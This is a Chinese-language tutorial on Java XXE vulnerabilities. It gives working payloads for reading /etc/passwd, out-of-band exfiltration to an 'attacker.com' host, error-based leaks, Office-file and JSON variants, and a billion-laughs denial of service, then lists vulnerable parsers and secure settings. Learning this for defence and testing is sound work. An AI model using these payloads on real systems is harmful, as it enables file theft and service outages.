JAVA XXE 从原理到利用
字数 1167 2025-08-22 22:47:39
Java XXE 漏洞从原理到实战利用
XML基础与XXE漏洞原理
XML文档结构
XML文档由三部分组成:
- XML声明:
<?xml version="1.0"?> - DTD文档类型定义(可选)
- 文档元素
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT head (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
DTD类型
- 内部DTD:在XML文件内部声明
- 外部DTD:引用外部文件中的DTD
外部DTD示例:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE address SYSTEM "address.dtd">
<address>
<name>Tanmay Patil</name>
<company>TutorialsPoint</company>
<phone>(011) 123-4567</phone>
</address>
实体(Entity)类型
-
按声明位置划分:
- 内部实体
- 外部实体
-
按类型划分:
- 内置实体
- 字符实体
- 通用实体
- 参数实体(XXE攻击中最常用)
参数实体语法:
<!ENTITY % ename "entity_value">
XXE攻击类型与利用方式
1. 有回显的XXE攻击
直接读取文件内容并显示在响应中:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck><productId>&xxe;</productId></stockCheck>
处理特殊字符:使用CDATA包装
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd;
]>
<roottag>&all;</roottag>
evil.dtd内容:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
2. 盲XXE攻击(无回显)
使用OOB(Out-of-Band)技术外带数据:
step1.xml:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec[
<!ENTITY % include SYSTEM "http://attacker.com/step2.dtd">
%include;
%define_http;
%send_http;
]>
<books></books>
step2.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % define_http "<!ENTITY % send_http SYSTEM 'http://attacker.com:1234/%file;'>">
3. 基于错误的XXE攻击
利用本地DTD文件触发错误回显:
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
4. Excel/Office文件XXE攻击
- 解压xlsx/pptx/docx文件
- 在xl/workbook.xml等文件中插入XXE payload
- 重新压缩并上传
5. JSON接口的XXE攻击
修改Content-Type为application/xml:
原始请求:
POST /netspi HTTP/1.1
Content-Type: application/json
修改后:
POST /netspi HTTP/1.1
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>
6. XXE DDoS攻击
利用实体递归引用消耗资源:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
Java XXE的特殊性
协议支持与限制
-
HTTP协议:
- 换行符
\n会导致异常 - 适合传输单行数据
- 换行符
-
FTP协议:
- Java版本影响:
- <7u141-b00或<8u131-b09:不受
\n影响 - jdk8u131:能创建FTP连接,但文件含
\n会抛出异常 - jdk8u232:URL含
\n就会抛出异常
- <7u141-b00或<8u131-b09:不受
- 可获取Java版本(匿名登录时密码为Java版本)
- Java版本影响:
-
JAR协议:
- 可用于文件上传但利用受限
- 临时文件会被删除
- 也可用于DDoS攻击
-
netdoc协议:
- 功能类似file协议
- 可用于列目录
特殊字符处理
- 所有
\r会被替换为\n %和&会导致完全出错'和"可以绕过?对http无影响,对ftp会造成截断/对http无影响,对ftp需要额外处理#会造成截断
代码审计关键点
易受攻击的XML解析接口
javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
DocumentHelper.parseText
DocumentBuilder
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
org.xml.sax.SAXParseException
安全配置
确保禁用外部实体:
// 对于DocumentBuilderFactory
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// 对于SAXParser
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
防御措施
- 禁用DTD和外部实体
- 使用白名单验证输入
- 使用安全的XML解析库
- 及时更新Java运行环境
- 对上传的Office文件进行严格检查
- 在WAF/防火墙层面过滤可疑的XML内容
总结
Java中的XXE漏洞利用具有其特殊性,特别是FTP协议在数据外带方面的优势。随着Java版本的更新,一些利用技术可能受限,但在旧系统中仍然存在风险。开发人员应了解XML处理的安全配置,安全人员则应掌握各种XXE检测和利用技术。